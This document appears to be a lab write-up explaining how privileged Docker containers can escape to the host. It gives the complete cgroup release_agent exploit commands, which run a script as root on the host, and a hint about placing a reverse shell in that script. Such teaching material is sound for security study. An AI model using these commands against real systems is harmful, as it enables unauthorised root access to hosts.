# Vulnerability 1: Privileged Containers (Capabilities)

## Understanding Capabilities

At its fundamental, Linux capabilities are root permissions given to processes or executables within the Linux kernel. These privileges allow for the granular assignment of privileges - rather than just assigning them all.

These capabilities determine what permissions a Docker container has to the operating system. Docker containers can run in two modes:

* User (Normal) mode
* Privileged mode

In the diagram below, we can see the two different modes in action and the level of access each mode has to the host:

<figure><img src="https://1704239903-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDyaGR2po4Je1Fmb1K3Wt%2Fuploads%2FmbSbLZaRfavHfulLqKK8%2Fimage.png?alt=media&#x26;token=34a2b8b3-4ad4-4026-ac8f-adb565503059" alt=""><figcaption></figcaption></figure>

Note how containers #1 and #2 are running in "user/normal" mode, whereas container #3 is running in "privileged" mode. Containers in "user" mode interact with the operating system through the Docker Engine. Privileged containers, however, do not do this. Instead, they bypass the Docker Engine and directly communicate with the operating system.

## What Does This Mean for Us

Well, if a c**ontainer is running with privileged access** to the operating system, we can effectively **execute commands as root on the host**.

We can use a utility such as `capsh` which comes with the _libcap2-bin_ package to list the capabilities our container has: `capsh --print`. Capabilities are used on Linux to assign specific permissions to a process. Listing the capabilities of the container is a good way to determine the syscalls that can be made and potential mechanisms for exploitation.

Some capabilities of interest have been provided in the terminal snippet below.

```bash
cmnatic@privilegedcontainer:~$ capsh --print 
Current: = cap_chown, cap_sys_module, cap_sys_chroot, cap_sys_admin, cap_setgid,cap_setuid
```

In the example exploit below, **we are going to use the mount syscall** (as allowed by the container's capabilities) to **mount the host's control groups into the container**.

The code snippet below is based upon (but a modified) version of the [Proof of Concept (PoC) created by Trailofbits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/), which details the inner workings of this exploit well.

1. `mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x`
2. `echo 1 > /tmp/cgrp/x/notify_on_release`
3. `` host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` ``
4. `echo "$host_path/exploit" > /tmp/cgrp/release_agent`
5. `echo '#!/bin/sh' > /exploit`
6. `echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit`
7. `chmod a+x /exploit`
8. `sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"`

{% hint style="info" %}
We can place whatever we like in the /exploit file (step 5). This could be, for example, a reverse shell to our attack machine.
{% endhint %}

## Explaining the Vulnerability

1. We need to create a group to use the Linux kernel to write and execute our exploit. The kernel uses "cgroups" to manage processes on the operating system. Since we can manage "cgroups" as root on the host, we'll mount this to "_/tmp/cgrp_" on the container.
2. For our exploit to execute, we'll need to tell the kernel to run our code. By adding "1" to "_/tmp/cgrp/x/notify\_on\_release_", we're telling the kernel to execute something once the "cgroup" finishes. [(Paul Menage., 2004)](https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt).
3. We find out where the container's files are stored on the host and store it as a variable.
4. We then echo the location of the container's files into our "_/exploit_" and then ultimately to the "release\_agent" which is what will be executed by the "cgroup" once it is released.
5. Let's turn our exploit into a shell on the host
6. Execute a command to echo the host flag into a file named "flag.txt" in the container once "_/exploit_" is executed.
7. Make our exploit executable!
8. We create a process and store that into "_/tmp/cgrp/x/cgroup.procs_". When the processs is released, the contents will be executed.
